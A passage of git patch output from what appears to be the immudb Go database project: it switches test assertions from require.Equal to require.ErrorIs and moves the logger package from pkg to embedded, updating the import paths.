require.Nil(t, rowReader.Parameters()) @@ -55,5 +55,5 @@ func TestDistinctRowReader(t *testing.T) { dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 0042a8b234..afe7e8e126 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1125,10 +1125,10 @@ func TestCreateIndex(t *testing.T) { require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) - require.Equal(t, ErrIndexAlreadyExists, err) + require.ErrorIs(t, err, ErrIndexAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(id)", nil) - require.Equal(t, ErrIndexAlreadyExists, err) + require.ErrorIs(t, err, ErrIndexAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX IF NOT EXISTS ON table1(id)", nil) require.NoError(t, err) @@ -1137,7 +1137,7 @@ func TestCreateIndex(t *testing.T) { require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) - require.Equal(t, ErrIndexAlreadyExists, err) + require.ErrorIs(t, err, ErrIndexAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table2(name)", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) @@ -1152,7 +1152,7 @@ func TestCreateIndex(t *testing.T) { require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) - require.Equal(t, ErrLimitedIndexCreation, err) + require.ErrorIs(t, err, ErrLimitedIndexCreation) } func TestUpsertInto(t *testing.T) { @@ -1192,7 +1192,7 @@ func TestUpsertInto(t *testing.T) { params := make(map[string]interface{}, 1) params["id"] = [4]byte{1, 2, 3, 4} _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params) - require.Equal(t, ErrUnsupportedParameter, err) + require.ErrorIs(t, err, ErrUnsupportedParameter) params = make(map[string]interface{}, 1) params["id"] = []byte{1, 2, 3} @@ -1213,7 +1213,7 @@ func TestUpsertInto(t *testing.T) { params["title"] = uint64(1) params["Title"] = uint64(2) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params) - require.Equal(t, ErrDuplicatedParameters, err) + require.ErrorIs(t, err, ErrDuplicatedParameters) _, ctxs, err := engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil) require.NoError(t, err) @@ -1276,7 +1276,7 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id) VALUES (1, 'yat')", nil) - require.Equal(t, ErrInvalidNumberOfValues, err) + require.ErrorIs(t, err, ErrInvalidNumberOfValues) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, id) VALUES (1, 2)", nil) require.ErrorIs(t, err, ErrDuplicatedColumn) @@ -1286,13 +1286,13 @@ func TestUpsertInto(t *testing.T) { require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES (NULL, false)", nil) - require.Equal(t, ErrPKCanNotBeNull, err) + require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (2, NULL, true)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (title, active) VALUES ('interesting title', true)", nil) - require.Equal(t, ErrPKCanNotBeNull, err) + require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) @@ -1798,7 +1798,7 @@ func TestUseSnapshot(t *testing.T) { require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "USE SNAPSHOT SINCE TX 1", nil) - require.Equal(t, ErrNoSupported, err) + require.ErrorIs(t, err, ErrNoSupported) _, _, err = engine.Exec(context.Background(), nil, ` BEGIN TRANSACTION; @@ -1992,7 +1992,7 @@ func TestQuery(t *testing.T) { require.Equal(t, "table1", orderBy[0].Table) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -2001,7 +2001,7 @@ func TestQuery(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -2049,7 +2049,7 @@ func TestQuery(t *testing.T) { } _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -2099,7 +2099,7 @@ func TestQuery(t *testing.T) { } _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -2137,14 +2137,14 @@ func TestQuery(t *testing.T) { } _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active, payload FROM table1 ORDER BY title", nil) - require.Equal(t, ErrLimitedOrderBy, err) + require.ErrorIs(t, err, ErrLimitedOrderBy) require.Nil(t, r) r, err = engine.Query(context.Background(), nil, "SELECT Id, Title, Active, payload FROM Table1 ORDER BY Id DESC", nil) @@ -3188,13 +3188,13 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY id, title DESC", nil) - require.Equal(t, ErrLimitedOrderBy, err) + require.ErrorIs(t, err, ErrLimitedOrderBy) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1) ORDER BY id", nil) - require.Equal(t, ErrLimitedOrderBy, err) + require.ErrorIs(t, err, ErrLimitedOrderBy) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) - require.Equal(t, ErrLimitedOrderBy, err) + require.ErrorIs(t, err, ErrLimitedOrderBy) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table2 ORDER BY title", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) @@ -3206,7 +3206,7 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY age", nil) - require.Equal(t, ErrLimitedOrderBy, err) + require.ErrorIs(t, err, ErrLimitedOrderBy) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) @@ -3359,7 +3359,7 @@ func TestQueryWithRowFiltering(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -3390,7 +3390,7 @@ func TestQueryWithRowFiltering(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -3413,7 +3413,7 @@ func TestQueryWithRowFiltering(t *testing.T) { } _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -3427,7 +3427,7 @@ func TestQueryWithRowFiltering(t *testing.T) { } _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -3652,7 +3652,7 @@ func TestAggregations(t *testing.T) { require.NoError(t, err) row, err := r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) require.Nil(t, row) err = r.Close() @@ -3697,7 +3697,7 @@ func TestAggregations(t *testing.T) { require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "t1", "col4")].RawValue()) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -3772,7 +3772,7 @@ func TestGroupByHaving(t *testing.T) { } _, err = engine.Query(context.Background(), nil, "SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null HAVING AVG(age) >= MIN(age)", nil) - require.Equal(t, ErrHavingClauseRequiresGroupClause, err) + require.ErrorIs(t, err, ErrHavingClauseRequiresGroupClause) r, err := engine.Query(context.Background(), nil, ` SELECT active, COUNT(*), SUM(age1) @@ -3784,7 +3784,7 @@ func TestGroupByHaving(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.Equal(t, ErrColumnDoesNotExist, err) + require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() require.NoError(t, err) @@ -3804,7 +3804,7 @@ func TestGroupByHaving(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.Equal(t, ErrLimitedCount, err) + require.ErrorIs(t, err, ErrLimitedCount) err = r.Close() require.NoError(t, err) @@ -3898,7 +3898,7 @@ func TestJoins(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) @@ -3917,7 +3917,7 @@ func TestJoins(t *testing.T) { require.Len(t, row.ValuesBySelector, 3) _, err = r.Read(context.Background()) - require.Equal(t, ErrNoMoreRows, err) + require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index af5e590045..c22d6887ce 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -32,7 +32,7 @@ func TestGroupedRowReader(t *testing.T) { require.NoError(t, err) _, err = newGroupedRowReader(nil, nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index 599e4ea7d4..30e795362b 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -33,7 +33,7 @@ func TestJointRowReader(t *testing.T) { require.NoError(t, err) _, err = newJointRowReader(nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) @@ -50,7 +50,7 @@ func TestJointRowReader(t *testing.T) { require.NoError(t, err) _, err = newJointRowReader(r, []*JoinSpec{{joinType: LeftJoin}}) - require.Equal(t, ErrUnsupportedJoinType, err) + require.ErrorIs(t, err, ErrUnsupportedJoinType) _, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &SelectStmt{}}}) require.NoError(t, err) diff --git a/embedded/sql/limit_row_reader_test.go b/embedded/sql/limit_row_reader_test.go index 710616e7d8..1414577e0b 100644 --- a/embedded/sql/limit_row_reader_test.go +++ b/embedded/sql/limit_row_reader_test.go @@ -34,11 +34,11 @@ func TestLimitRowReader(t *testing.T) { require.Nil(t, rowReader.Tx()) _, err := rowReader.Read(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = true _, err = rowReader.Columns(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) require.Nil(t, rowReader.Parameters()) @@ -48,5 +48,5 @@ func TestLimitRowReader(t *testing.T) { dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) } diff --git a/embedded/sql/offset_row_reader_test.go b/embedded/sql/offset_row_reader_test.go index 7176b41341..0f04582ef3 100644 --- a/embedded/sql/offset_row_reader_test.go +++ b/embedded/sql/offset_row_reader_test.go @@ -34,11 +34,11 @@ func TestOffsetRowReader(t *testing.T) { require.Nil(t, rowReader.Tx()) _, err := rowReader.Read(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = true _, err = rowReader.Columns(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) require.Nil(t, rowReader.Parameters()) @@ -48,5 +48,5 @@ func TestOffsetRowReader(t *testing.T) { dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) } diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index d6ffd6addb..de4bdf9915 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -1389,7 +1389,7 @@ func TestOps_ReferenceIndexNotExists(t *testing.T) { }, } _, err := st.ExecAllOps(aOps) - require.Equal(t, ErrIndexNotFound, err) + require.ErrorIs(t, err, ErrIndexNotFound) } func TestOps_ReferenceIndexMissing(t *testing.T) { @@ -1410,6 +1410,6 @@ func TestOps_ReferenceIndexMissing(t *testing.T) { }, } _, err := st.ExecAllOps(aOps) - require.Equal(t, ErrReferenceIndexMissing, err) + require.ErrorIs(t, err, ErrReferenceIndexMissing) } */ diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index a8253b6bf0..c6c3d51331 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -91,7 +91,7 @@ func TestReadOnlyReplica(t *testing.T) { PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, }) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) } func TestSwitchToReplica(t *testing.T) { diff --git a/pkg/errors/errors_test.go b/pkg/errors/errors_test.go index a8cdca3953..e3630e65b2 100644 --- a/pkg/errors/errors_test.go +++ b/pkg/errors/errors_test.go @@ -38,7 +38,7 @@ func Test_Immuerror(t *testing.T) { require.Equal(t, err.Error(), cause) require.Equal(t, err.Message(), cause) require.Equal(t, err.Code(), errors.CodInternalError) - require.Equal(t, err.Cause(), err) + require.ErrorIs(t, err, err.Cause()) require.Equal(t, err.RetryDelay(), int32(0)) require.NotNil(t, err.Stack()) diff --git a/pkg/immuos/os_test.go b/pkg/immuos/os_test.go index b2e6384353..5ac959cba4 100644 --- a/pkg/immuos/os_test.go +++ b/pkg/immuos/os_test.go @@ -166,7 +166,7 @@ func TestStandardOS(t *testing.T) { return nil, errOpen } _, err = os.Open("name") - require.ErrorIs(t, err ,errOpen) + require.ErrorIs(t, err, errOpen) os.OpenF = openFOK // OpenFile diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index ef17f6bf97..84c09c79d2 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1323,7 +1323,8 @@ func TestServerUpdateConfigItem(t *testing.T) { // Config file path empty s.Options.Config = "" err := s.updateConfigItem("key", "key = value", func(string) bool { return false }) - require.ErrorContains(t, err, "config file does not exist") + require.Error(t, err) + require.EqualError(t, err, "config file does not exist") s.Options.Config = configFile // ReadFile error From 888253b967af7c38fd7d93e5fe50f11576f45403 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 26 Aug 2022 16:18:45 +0530 Subject: [PATCH 0655/1062] refactor(pkg/logger): move logger from pkg to embedded --- cmd/immuclient/audit/auditagent.go | 2 +- cmd/immuclient/audit/auditagent_test.go | 2 +- cmd/immuclient/audit/auditor_test.go | 2 +- cmd/immuclient/audit/executable_test.go | 2 +- cmd/immudb/command/immudbcmdtest/immuServerMock.go | 2 +- cmd/immudb/command/init.go | 2 +- cmd/immudb/command/root.go | 2 +- cmd/immudb/command/service/servicetest/server.go | 2 +- {pkg => embedded}/logger/file.go | 0 {pkg => embedded}/logger/file_test.go | 0 {pkg => embedded}/logger/json.go | 0 {pkg => embedded}/logger/json_test.go | 2 +- {pkg => embedded}/logger/logger.go | 0 {pkg => embedded}/logger/logger_test.go | 0 {pkg => embedded}/logger/memory.go | 0 {pkg => embedded}/logger/memory_test.go | 2 +- {pkg => embedded}/logger/simple.go | 0 {pkg => embedded}/logger/simple_test.go | 0 embedded/store/immustore.go | 2 +- embedded/store/options.go | 2 +- embedded/tbtree/options.go | 2 +- embedded/tbtree/tbtree.go | 2 +- pkg/client/auditor/auditor.go | 2 +- pkg/client/auditor/auditor_test.go | 2 +- pkg/client/auditor/monitoring_server.go | 2 +- pkg/client/auditor/monitoring_server_test.go | 2 +- pkg/client/client.go | 2 +- pkg/client/client_test.go | 2 +- pkg/client/heartbeater.go | 2 +- pkg/client/state/state_service.go | 2 +- pkg/client/state/state_service_test.go | 2 +- pkg/client/types.go | 2 +- pkg/database/database.go | 2 +- pkg/database/database_test.go | 2 +- pkg/database/replica_test.go | 2 +- pkg/integration/auditor_test.go | 2 +- pkg/pgsql/server/options.go | 2 +- pkg/pgsql/server/query_machine_test.go | 2 +- pkg/pgsql/server/server.go | 2 +- pkg/pgsql/server/session.go | 2 +- pkg/pgsql/server/session_factory.go | 2 +- pkg/pgsql/server/session_factory_test.go | 2 +- pkg/pgsql/server/ssl_handshake_test.go | 2 +- pkg/replication/replicator.go | 2 +- pkg/replication/replicator_test.go | 2 +- pkg/server/corruption_checker_test.go | 2 +- pkg/server/metrics.go | 2 +- pkg/server/metrics_funcs_test.go | 2 +- pkg/server/options.go | 2 +- pkg/server/options_test.go | 2 +- pkg/server/server.go | 2 +- pkg/server/server_test.go | 2 +- pkg/server/sessions/internal/transactions/transactions_test.go | 2 +- pkg/server/sessions/manager.go | 2 +- pkg/server/sessions/manager_test.go | 2 +- pkg/server/sessions/session.go | 2 +- pkg/server/sessions/session_test.go | 2 +- pkg/server/types.go | 2 +- pkg/server/webserver.go | 2 +- .../performance-test-suite/pkg/benchmarks/writetxs/benchmark.go | 2 +- webconsole/webconsole.go | 2 +- webconsole/webconsole_default.go | 2 +- webconsole/webconsole_default_test.go | 2 +- webconsole/webconsole_test.go | 2 +- 64 files changed, 56 insertions(+), 56 deletions(-) rename {pkg => embedded}/logger/file.go (100%) rename {pkg => embedded}/logger/file_test.go (100%) rename {pkg => embedded}/logger/json.go (100%) rename {pkg => embedded}/logger/json_test.go (98%) rename {pkg => embedded}/logger/logger.go (100%) rename {pkg => embedded}/logger/logger_test.go (100%) rename {pkg => embedded}/logger/memory.go (100%) rename {pkg => embedded}/logger/memory_test.go (96%) rename {pkg => embedded}/logger/simple.go (100%) rename {pkg => embedded}/logger/simple_test.go (100%) diff --git a/cmd/immuclient/audit/auditagent.go b/cmd/immuclient/audit/auditagent.go index 9e20e4d02a..522e5d2cd0 100644 --- a/cmd/immuclient/audit/auditagent.go +++ b/cmd/immuclient/audit/auditagent.go @@ -26,10 +26,10 @@ import ( immusrvc "github.com/codenotary/immudb/cmd/sservice" "github.com/codenotary/immudb/pkg/server" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/auditor" "github.com/codenotary/immudb/pkg/client/state" - "github.com/codenotary/immudb/pkg/logger" "github.com/spf13/viper" "github.com/takama/daemon" ) diff --git a/cmd/immuclient/audit/auditagent_test.go b/cmd/immuclient/audit/auditagent_test.go index acdf9e1d21..396b1d0b0a 100644 --- a/cmd/immuclient/audit/auditagent_test.go +++ b/cmd/immuclient/audit/auditagent_test.go @@ -29,7 +29,7 @@ import ( "github.com/codenotary/immudb/cmd/immuclient/service/constants" immusrvc "github.com/codenotary/immudb/cmd/sservice" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/spf13/viper" diff --git a/cmd/immuclient/audit/auditor_test.go b/cmd/immuclient/audit/auditor_test.go index 2ab38cf6dd..a4227c8b02 100644 --- a/cmd/immuclient/audit/auditor_test.go +++ b/cmd/immuclient/audit/auditor_test.go @@ -22,7 +22,7 @@ import ( "testing" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" diff --git a/cmd/immuclient/audit/executable_test.go b/cmd/immuclient/audit/executable_test.go index 1ac0c5922f..3c1e605ff1 100644 --- a/cmd/immuclient/audit/executable_test.go +++ b/cmd/immuclient/audit/executable_test.go @@ -23,7 +23,7 @@ import ( "time" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" diff --git a/cmd/immudb/command/immudbcmdtest/immuServerMock.go b/cmd/immudb/command/immudbcmdtest/immuServerMock.go index 77b730b7a3..14ff133658 100644 --- a/cmd/immudb/command/immudbcmdtest/immuServerMock.go +++ b/cmd/immudb/command/immudbcmdtest/immuServerMock.go @@ -17,8 +17,8 @@ limitations under the License. package immudbcmdtest import ( + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index c237a4b40f..9d14485aa8 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -20,7 +20,7 @@ import ( "time" c "github.com/codenotary/immudb/cmd/helper" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/spf13/pflag" diff --git a/cmd/immudb/command/root.go b/cmd/immudb/command/root.go index 59f8a8db31..beac44bcb4 100644 --- a/cmd/immudb/command/root.go +++ b/cmd/immudb/command/root.go @@ -18,7 +18,7 @@ package immudb import ( c "github.com/codenotary/immudb/cmd/helper" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/spf13/viper" diff --git a/cmd/immudb/command/service/servicetest/server.go b/cmd/immudb/command/service/servicetest/server.go index 4f33ebfe37..bf836e17c3 100644 --- a/cmd/immudb/command/service/servicetest/server.go +++ b/cmd/immudb/command/service/servicetest/server.go @@ -17,7 +17,7 @@ limitations under the License. package servicetest import ( - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" ) diff --git a/pkg/logger/file.go b/embedded/logger/file.go similarity index 100% rename from pkg/logger/file.go rename to embedded/logger/file.go diff --git a/pkg/logger/file_test.go b/embedded/logger/file_test.go similarity index 100% rename from pkg/logger/file_test.go rename to embedded/logger/file_test.go diff --git a/pkg/logger/json.go b/embedded/logger/json.go similarity index 100% rename from pkg/logger/json.go rename to embedded/logger/json.go diff --git a/pkg/logger/json_test.go b/embedded/logger/json_test.go similarity index 98% rename from pkg/logger/json_test.go rename to embedded/logger/json_test.go index 76fc446566..c1435f7502 100644 --- a/pkg/logger/json_test.go +++ b/embedded/logger/json_test.go @@ -319,7 +319,7 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - require.Equal(t, "github.com/codenotary/immudb/pkg/logger.logWithFunc", raw["component"]) + require.Equal(t, "github.com/codenotary/immudb/embedded/logger.logWithFunc", raw["component"]) }) } diff --git a/pkg/logger/logger.go b/embedded/logger/logger.go similarity index 100% rename from pkg/logger/logger.go rename to embedded/logger/logger.go diff --git a/pkg/logger/logger_test.go b/embedded/logger/logger_test.go similarity index 100% rename from pkg/logger/logger_test.go rename to embedded/logger/logger_test.go diff --git a/pkg/logger/memory.go b/embedded/logger/memory.go similarity index 100% rename from pkg/logger/memory.go rename to embedded/logger/memory.go diff --git a/pkg/logger/memory_test.go b/embedded/logger/memory_test.go similarity index 96% rename from pkg/logger/memory_test.go rename to embedded/logger/memory_test.go index 81866ff839..290df30793 100644 --- a/pkg/logger/memory_test.go +++ b/embedded/logger/memory_test.go @@ -21,7 +21,7 @@ import ( "os" "testing" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/require" ) diff --git a/pkg/logger/simple.go b/embedded/logger/simple.go similarity index 100% rename from pkg/logger/simple.go rename to embedded/logger/simple.go diff --git a/pkg/logger/simple_test.go b/embedded/logger/simple_test.go similarity index 100% rename from pkg/logger/simple_test.go rename to embedded/logger/simple_test.go diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 86c082a5bf..b3a6466f7b 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -42,7 +42,7 @@ import ( "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" ) var ErrIllegalArguments = embedded.ErrIllegalArguments diff --git a/embedded/store/options.go b/embedded/store/options.go index 7ca7c6e2c6..0a2df27800 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -24,8 +24,8 @@ import ( "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/tbtree" - "github.com/codenotary/immudb/pkg/logger" ) const DefaultMaxActiveTransactions = 1000 diff --git a/embedded/tbtree/options.go b/embedded/tbtree/options.go index 2bd360d12c..773273e46b 100644 --- a/embedded/tbtree/options.go +++ b/embedded/tbtree/options.go @@ -23,7 +23,7 @@ import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" ) const DefaultMaxNodeSize = 4096 diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 18a6b4ff3d..3f50823998 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -36,8 +36,8 @@ import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/cache" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" - "github.com/codenotary/immudb/pkg/logger" "github.com/prometheus/client_golang/prometheus" ) diff --git a/pkg/client/auditor/auditor.go b/pkg/client/auditor/auditor.go index 2bb7731676..24262b16db 100644 --- a/pkg/client/auditor/auditor.go +++ b/pkg/client/auditor/auditor.go @@ -29,6 +29,7 @@ import ( "strings" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" @@ -36,7 +37,6 @@ import ( "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/client/timestamp" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/signer" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc" diff --git a/pkg/client/auditor/auditor_test.go b/pkg/client/auditor/auditor_test.go index 1ff19fb3a0..47dead74ff 100644 --- a/pkg/client/auditor/auditor_test.go +++ b/pkg/client/auditor/auditor_test.go @@ -30,11 +30,11 @@ import ( "github.com/codenotary/immudb/pkg/signer" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/codenotary/immudb/pkg/client/state" - "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc" diff --git a/pkg/client/auditor/monitoring_server.go b/pkg/client/auditor/monitoring_server.go index b8a3bd31a4..384714a95d 100644 --- a/pkg/client/auditor/monitoring_server.go +++ b/pkg/client/auditor/monitoring_server.go @@ -22,8 +22,8 @@ import ( "expvar" "net/http" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" "github.com/prometheus/client_golang/prometheus/promhttp" ) diff --git a/pkg/client/auditor/monitoring_server_test.go b/pkg/client/auditor/monitoring_server_test.go index 0586f9ce4e..d45d3c2541 100644 --- a/pkg/client/auditor/monitoring_server_test.go +++ b/pkg/client/auditor/monitoring_server_test.go @@ -27,9 +27,9 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/clienttest" - "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" "github.com/prometheus/client_golang/prometheus/promhttp" 